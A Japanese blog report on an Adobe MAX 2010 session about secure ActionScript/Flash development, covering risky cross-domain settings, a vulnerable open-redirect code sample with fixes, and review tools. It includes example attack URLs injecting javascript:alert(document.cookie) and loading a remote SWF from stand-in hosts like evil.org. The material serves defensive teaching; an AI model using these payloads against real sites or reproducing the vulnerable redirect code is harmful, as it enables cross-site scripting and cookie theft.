MAX2010

Adobe MAX 2010レポート 3日目 セキュアなFlashコンテンツを作るには

Adobe MAX 2010から、「Creating Secure ActionScript Applications」のセッションレポートです。
ブラウザには毎月のようにセキュリティ上の問題が発見され、アップデートにより修正されています。Flash Playerも脆弱性がみつかるたびに修正が行われています。
しかし、コンテンツの中に潜む脆弱性は僕ら制作者の責任です。もちろん、誰もが使うランタイムですから、危険な操作ができる可能性の処理には厳しい制限がかけられています。Flashコンテンツに潜むリスクとその対策を、セッションのメモを中心に掲載しました。ガイドラインを作るには、もう少しまとめる必要がありそうです。
Flash Playerには、基本的なセキュリティモデルはありながらも、オプトインの制御が用意されています。allowDomain、crossdomain.xml、allowScriptAccessなどがそうです。ユーザーが見る小さなプロンプトウィンドウはもうおなじみですね。さらに、黙ってバックグランドで何か危険な操作ができないように、処理によってはユーザーがボタンを押すなどの、なんらかの明確な操作を必須としているものもあります。
Flashコンテンツに潜む主なリスク
必要以上のクロスドメインアクセス許可
crossdomain.xml ,LocalConnections, Security.allowDomain, allowScriptaccess/allowNetworking
クライアントサイドのデータ検証不足
FlashVars
サーバーサイドのデータ検証不足
AMF, Sockets, Form post
Flashコンテンツの問題
パスワード情報の埋め込み、デバッグ情報、ステージングサーバーのURL、秘密鍵、ファイルのアップロード
特に危険な設定など
・LocalConnection.allowInsecureDomain
・Security.allowInsecureDomain
・crossdomain.xmlにおけるsecure=false
・Security.exactSettings=false
・プロダクションコードにおけるtrace()
・ドメイン指定の際のワイルドカード指定
オープンリダイレクター
http://www.good.org/redirector.swf?url=www.evil.org
のようなもので、多くのユーザーはwww.good.orgを信じているので、サイトの信用を落とす可能性があります。
また次のようなアクセスも可能なので、悪用される可能性があります。
http://…/NavToURL.swf?fvUrl=javascript:alert(document.cookie)
脆弱性のあるコード例:

try {
var paramObj:Object = LoaderInfo(this.root.loaderInfo).parameters;
var url:String = String(paramObj["fvUrl"]);
} catch(e:Error) {
trace(error);
}
var request:URLRequest = new URLRequest(fvUrl);
navigateToURL(request, "_self");

回避策1:

if(fvUrl.indexOf("store") == 0)
navigateToURL("http://www.example.com/store/", "newWin");

回避策2:

var subDir:String = String(paramObj["subDir"]);
navigateToURL("http://www.example.com/" + subDir, "newWin");

回避策3(Flash):
LocalConnection.domainを使う。

var lc:LocalConnection = new LocalConnection();
navigateToURL("http://" + lc.domain + "/" + subDir, "newWin");

回避策3(Flex):
mx.managers.BrowserManagerで現在のURLを取得し、mx.utils.URLUtilでドメインを取り出す。
開発時に気をつけること
・パブリッシュ時には、Traceアクションを省略すること
・パブリッシュ設定の「XMPメタデータ」の内容を確認すること
・パブリッシュ設定の「読み込みプロテクト」「デバッグを許可」に頼らないこと
・最新のFlex SDKを使うこと
・最新のFlash Player向けにコンパイルすること
機械的なソースコードスキャンで脆弱性を発見する
・HPの「SWF Scan
開発者にとって使いやすいとはいえないらしい。
・「FlexPMD
オープンソースでセキュリティルールはどんどん更新されている。パフォーマンス上の問題、コードの品質の問題も指摘してくれるらしい。
人が行うコードレビューで脆弱性を発見する
以下のようなコードを中心にレビューを行います。
外部データ読み込み
・FlashVars, _root, _level0
・Loader.load, Loader.loadBytes
・LocalConnection
・ExtenalInterface, fscommand
クロスドメイン許可
・allowDomain, allowInsecureDomain
秘密情報、プライバシー、デバッグ情報
・パスワードや、暗号化のキー
クロスサイトフラッシング(Cross Site Flashing)
http://…/WidgetLoader.swf?loadBytesSWF=http://www.evil.org/evil.swf
のようなものです。Loader.load(), Loader.loadBytes(), mx.SWFLoader, HTMLテキストエリアに注意しましょう。
allowScriptAccess=always
大変危険です。サービスやサイトの仕様上、どうしても必要な場合以外やめましょう。
クロスドメインポリシーの中のallow-all「*」
誰でもあなたのコンテンツにアクセスできます。特に次の場合危険です。
・サイトがセッションIDをURLに持っているとき
http://www.examples.org/index.cgi?sessionID=11223344
・データを保護するためにサイトがSSLを使っているとき
・ユーザーログインが必要なサイト
パブリックなデータはサブディレクトリをきってパーミッションを設定しましょう。
暗号化
暗号化には、as3corelibや、AS3Cryptoなどを使いましょう。
データの検証
ActionScriptに外部から渡ってくる様々なデータの検証には、Flex Validators(Flex)、flash-validators(Flash)を使いましょう。
CGIのテスト手法をSWFにも応用
CGI
http://www.example.org/test.cgi?url=javascript.alert(“document.cookie”)
SWF
http://www.example.org/test.swf?url=javascript.alert(“document.cookie”)
http://www.example.org/test.swf?url=http://evil.example.com/malicious.swf
次期Flash Playerの新しいプロパティ
LoaderContext.allowCodeImportが追加されます。画像を読み込んで内容を操作したいときに、これをfalseにします。すると画像しか読み込めなくなりますが、ビットマップデータの操作は可能になります。
公開するSWFに脆弱性があるか、秘密情報が含まれているか。エンジニアまかせではいけないと思います。このセッションの内容を参考に、まずはガイドラインを作って、Flashエンジニアのトレーニングを行い、その上で、公開前の機械的なチェックと、コードのレビューを行うようにする必要があると思います。


Author

  • Shuichi Ishikawa
    Shuichi IshikawaShuichi
    Ishikawa
  • MikasaHideyuki
    Hideyuki MikasaHideyuki
    Mikasa
Shuichi Ishikawa
執行役員/インタラクションデザイングループ

フロントエンド開発からクラウドサーバー構築まで、新しいことに興味がありすぎて時間が足りない制作部門リーダー。Adobeインフルエンサー。九州芸術工科大学→ドリームキャスト→サーバーサイド→フロントエンド→執行役員→早稲田大学大学院→Kinect v2

好きな飛行機
B787-8
好きな空港
SXM
好きな航空路
Y28
Hideyuki Mikasa
オーサリングエンジニア

mikasa's text